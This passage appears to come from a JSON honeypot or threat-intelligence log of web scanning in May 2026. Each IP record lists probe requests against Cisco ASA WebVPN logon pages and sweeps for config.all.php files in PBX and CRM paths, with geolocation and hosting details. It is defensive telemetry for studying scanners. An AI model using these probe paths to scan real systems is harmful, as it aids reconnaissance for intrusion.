        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Prescott",
      "asn": 204957,
      "as_org": "Green Floid LLC"
    },
    "155.212.66.132": {
      "attack_count": 14,
      "first_seen": "2026-05-29T09:51:26.489Z",
      "last_seen": "2026-05-29T22:01:35.279Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Leavenworth",
      "asn": 204957,
      "as_org": "Green Floid LLC"
    },
    "156.229.238.85": {
      "attack_count": 14,
      "first_seen": "2026-05-26T09:01:04.648Z",
      "last_seen": "2026-05-29T14:55:24.296Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Palo Alto",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "186.243.145.158": {
      "attack_count": 14,
      "first_seen": "2026-05-27T21:07:30.666Z",
      "last_seen": "2026-05-29T14:56:57.205Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Chevy Chase",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "186.243.239.71": {
      "attack_count": 14,
      "first_seen": "2026-05-26T02:53:28.167Z",
      "last_seen": "2026-05-27T01:50:59.382Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Hammond",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "186.243.254.204": {
      "attack_count": 14,
      "first_seen": "2026-05-26T12:39:05.461Z",
      "last_seen": "2026-05-31T02:51:48.998Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Lockport",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "5.57.210.119": {
      "attack_count": 14,
      "first_seen": "2026-05-26T13:30:32.422Z",
      "last_seen": "2026-05-27T12:31:14.141Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Lake Providence",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "77.72.84.37": {
      "attack_count": 14,
      "first_seen": "2026-05-26T13:55:39.360Z",
      "last_seen": "2026-05-29T12:38:41.123Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Washington",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "123.160.223.73": {
      "attack_count": 13,
      "first_seen": "2026-05-03T07:51:52.951Z",
      "last_seen": "2026-05-30T03:22:32.836Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /favicon.ico HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet"
    },
    "138.199.43.85": {
      "attack_count": 12,
      "first_seen": "2026-05-26T08:56:28.312Z",
      "last_seen": "2026-05-31T02:16:18.520Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Seattle",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "146.70.211.134": {
      "attack_count": 12,
      "first_seen": "2026-05-09T06:23:19.600Z",
      "last_seen": "2026-05-25T20:55:03.637Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 9009,
      "as_org": "M247 Europe SRL"
    },
    "23.234.115.24": {
      "attack_count": 12,
      "first_seen": "2026-05-09T05:15:44.813Z",
      "last_seen": "2026-05-29T14:05:18.027Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Salt Lake City",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "143.244.47.86": {
      "attack_count": 9,
      "first_seen": "2026-05-05T16:55:43.029Z",
      "last_seen": "2026-05-22T19:09:25.428Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "146.70.211.92": {
      "attack_count": 9,
      "first_seen": "2026-05-05T04:29:46.329Z",
      "last_seen": "2026-05-05T08:40:00.114Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 9009,
      "as_org": "M247 Europe SRL"
    },
    "192.42.116.115": {
      "attack_count": 9,
      "first_seen": "2026-05-24T01:26:17.157Z",
      "last_seen": "2026-05-24T01:26:29.723Z",
      "ports": [],
      "event_types": [
        "\"GET /admin/libraries/config.all.php? HTTP/1.1\" 404 -",
        "\"GET /admin/modules/config.all.php? HTTP/1.1\" 404 -",
        "\"GET /admin/modules/cxpanel/config.all.php? HTTP/1.1\" 404 -",
        "\"GET /admin/modules/ucp/htdocs/config.all.php? HTTP/1.1\" 404 -",
        "\"GET /admin/themes/config.all.php? HTTP/1.1\" 404 -",
        "\"GET /admin/views/config.all.php? HTTP/1.1\" 404 -",
        "\"GET /asteriskWS/config.all.php? HTTP/1.1\" 404 -",
        "\"GET /bin/config.all.php? HTTP/1.1\" 404 -",
        "\"GET /cisco/config.all.php? HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": null,
      "asn": 215125,
      "as_org": "Church of Cyberology"
    },
    "203.55.81.2": {
      "attack_count": 9,
      "first_seen": "2026-05-24T01:30:17.401Z",
      "last_seen": "2026-05-24T01:30:30.245Z",
      "ports": [],
      "event_types": [
        "\"GET /phpversions.php?npv HTTP/1.1\" 404 -",
        "\"GET /user/config.all.php?x HTTP/1.1\" 404 -",
        "\"GET /var/config.all.php?x HTTP/1.1\" 404 -",
        "\"GET /vtigercrm/config.all.php?x HTTP/1.1\" 404 -",
        "\"GET /web-meetme/config.all.php?x HTTP/1.1\" 404 -",
        "\"GET /welcome/config.all.php?x HTTP/1.1\" 404 -",
        "\"GET /widgets/config.all.php?x HTTP/1.1\" 404 -",
        "\"GET /xmlservices/config.all.php?x HTTP/1.1\" 404 -",
        "\"GET /yii/config.all.php?x HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "France",
      "country_code": "FR",
      "city": null,
      "asn": 213873,
      "as_org": "MOJI SAS"
    },
    "23.234.107.76": {
      "attack_count": 9,
      "first_seen": "2026-05-27T03:51:42.222Z",
      "last_seen": "2026-05-29T09:35:07.011Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.107.81": {
      "attack_count": 9,
      "first_seen": "2026-05-02T01:51:44.393Z",
      "last_seen": "2026-05-19T03:10:14.713Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.117.73": {
      "attack_count": 9,
      "first_seen": "2026-05-02T03:30:15.503Z",
      "last_seen": "2026-05-29T20:45:59.818Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.80.194": {
      "attack_count": 9,
      "first_seen": "2026-05-06T02:20:28.125Z",
      "last_seen": "2026-05-29T11:26:51.096Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Seattle",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "185.93.89.170": {
      "attack_count": 8,
      "first_seen": "2026-05-04T07:01:03.719Z",
      "last_seen": "2026-05-10T08:48:32.294Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "Iran",
      "country_code": "IR",
      "city": null,
      "asn": 213790,
      "as_org": "Limited Network LTD"
    },
    "47.89.246.29": {
      "attack_count": 8,
      "first_seen": "2026-05-05T09:04:26.372Z",
      "last_seen": "2026-05-20T13:12:12.018Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/blank.html HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/win.js HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd."
    },
    "62.60.131.60": {
      "attack_count": 8,
      "first_seen": "2026-05-04T06:59:39.464Z",
      "last_seen": "2026-05-10T08:48:29.813Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "Iran",
      "country_code": "IR",
      "city": "Tehran",
      "asn": 208137,
      "as_org": "Feo Prest SRL"
    },
    "135.106.66.216": {
      "attack_count": 7,
      "first_seen": "2026-05-27T23:03:18.545Z",
      "last_seen": "2026-05-27T23:03:31.324Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Dubois",
      "asn": 204957,
      "as_org": "Green Floid LLC"
    },
    "141.133.122.184": {
      "attack_count": 7,
      "first_seen": "2026-05-27T16:49:49.692Z",
      "last_seen": "2026-05-27T16:50:02.190Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Pointblank",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "141.133.46.85": {
      "attack_count": 7,
      "first_seen": "2026-05-31T04:13:08.725Z",
      "last_seen": "2026-05-31T04:13:21.186Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Golden",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "142.252.104.66": {
      "attack_count": 7,
      "first_seen": "2026-05-27T10:57:28.209Z",
      "last_seen": "2026-05-27T10:57:40.790Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "San Francisco",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "172.120.12.101": {
      "attack_count": 7,
      "first_seen": "2026-05-29T18:00:18.033Z",
      "last_seen": "2026-05-29T18:00:34.579Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": null,
      "as_org": null
    },
    "172.120.20.199": {
      "attack_count": 7,
      "first_seen": "2026-05-29T15:40:50.039Z",
      "last_seen": "2026-05-29T15:41:03.586Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": null,
      "as_org": null
    },
    "172.86.88.58": {
      "attack_count": 7,
      "first_seen": "2026-05-29T19:26:30.022Z",
      "last_seen": "2026-05-30T10:27:33.385Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /admin/config.php HTTP/1.1\" 404 -",
        "\"GET /ari HTTP/1.1\" 404 -",
        "\"GET /ucp HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 14956,
      "as_org": "RouterHosting LLC"
    },
    "185.68.81.215": {
      "attack_count": 7,
      "first_seen": "2026-05-26T05:05:06.802Z",
      "last_seen": "2026-05-26T05:05:17.883Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "186.243.192.210": {
      "attack_count": 7,
      "first_seen": "2026-05-29T20:18:43.178Z",
      "last_seen": "2026-05-29T20:18:55.004Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Chevy Chase",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "186.243.198.47": {
      "attack_count": 7,
      "first_seen": "2026-05-27T01:58:14.668Z",
      "last_seen": "2026-05-27T01:58:24.399Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Chappaqua",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "213.166.94.32": {
      "attack_count": 7,
      "first_seen": "2026-05-27T22:19:57.138Z",
      "last_seen": "2026-05-27T22:20:10.593Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 395092,
      "as_org": "Shock Hosting LLC"
    },
    "45.130.186.13": {
      "attack_count": 7,
      "first_seen": "2026-05-30T09:55:09.227Z",
      "last_seen": "2026-05-30T09:55:23.130Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Philadelphia",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "45.192.36.102": {
      "attack_count": 7,
      "first_seen": "2026-05-27T07:59:34.172Z",
      "last_seen": "2026-05-27T07:59:48.871Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "80.73.244.252": {
      "attack_count": 7,
      "first_seen": "2026-05-31T02:04:04.186Z",
      "last_seen": "2026-05-31T02:04:16.942Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Petal",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "146.70.172.229": {
      "attack_count": 6,
      "first_seen": "2026-05-05T22:34:21.643Z",
      "last_seen": "2026-05-26T07:56:56.937Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 9009,
      "as_org": "M247 Europe SRL"
    },
    "23.234.104.39": {
      "attack_count": 6,
      "first_seen": "2026-05-04T10:06:37.505Z",
      "last_seen": "2026-05-09T02:24:29.217Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.110.207": {
      "attack_count": 6,
      "first_seen": "2026-05-05T10:53:10.303Z",
      "last_seen": "2026-05-26T15:29:18.126Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Atlanta",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "66.132.172.189": {
      "attack_count": 6,
      "first_seen": "2026-05-03T04:51:49.103Z",
      "last_seen": "2026-05-03T04:52:15.417Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /favicon.ico HTTP/1.1\" 404 -",
        "\"GET /version HTTP/1.1\" 404 -",
        "\"PRI * HTTP/2.0\" 505 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "code 505"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc."
    },
    "192.42.116.62": {
      "attack_count": 4,
      "first_seen": "2026-05-24T01:29:25.857Z",
      "last_seen": "2026-05-24T01:29:30.860Z",
      "ports": [],
      "event_types": [
        "\"GET /k12/config.all.php?x HTTP/1.1\" 404 -",
        "\"GET /lang/config.all.php?x HTTP/1.1\" 404 -",
        "\"GET /libs/config.all.php?x HTTP/1.1\" 404 -",
        "\"GET /mail/config.all.php?x HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": null,
      "asn": 215125,
      "as_org": "Church of Cyberology"
    },
    "45.82.78.105": {
      "attack_count": 4,
      "first_seen": "2026-05-09T06:02:30.914Z",
      "last_seen": "2026-05-09T06:02:40.301Z",
      "ports": [],
      "event_types": [
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET / HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "Germany",
      "country_code": "DE",
      "city": null,
      "asn": 212512,
      "as_org": "Detai Prosperous Technologies Limited"
    },
    "142.147.89.227": {
      "attack_count": 3,
      "first_seen": "2026-05-25T22:29:15.831Z",
      "last_seen": "2026-05-25T22:29:23.148Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "San Jose",
      "asn": 6233,
      "as_org": "xTom"
    },
    "23.234.118.66": {
      "attack_count": 3,
      "first_seen": "2026-05-07T02:46:35.228Z",
      "last_seen": "2026-05-07T02:46:45.041Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.77.65": {
      "attack_count": 3,
      "first_seen": "2026-05-08T03:16:44.126Z",
      "last_seen": "2026-05-08T03:16:52.945Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Raleigh",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.95.66": {
      "attack_count": 3,
      "first_seen": "2026-05-05T19:22:42.934Z",
      "last_seen": "2026-05-05T19:22:51.501Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "San Jose",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.96.200": {
      "attack_count": 3,
      "first_seen": "2026-05-06T01:37:21.939Z",
      "last_seen": "2026-05-06T01:37:29.723Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "209.38.211.253": {
      "attack_count": 2,
      "first_seen": "2026-05-07T13:23:49.240Z",
      "last_seen": "2026-05-07T13:23:59.046Z",
      "ports": [],
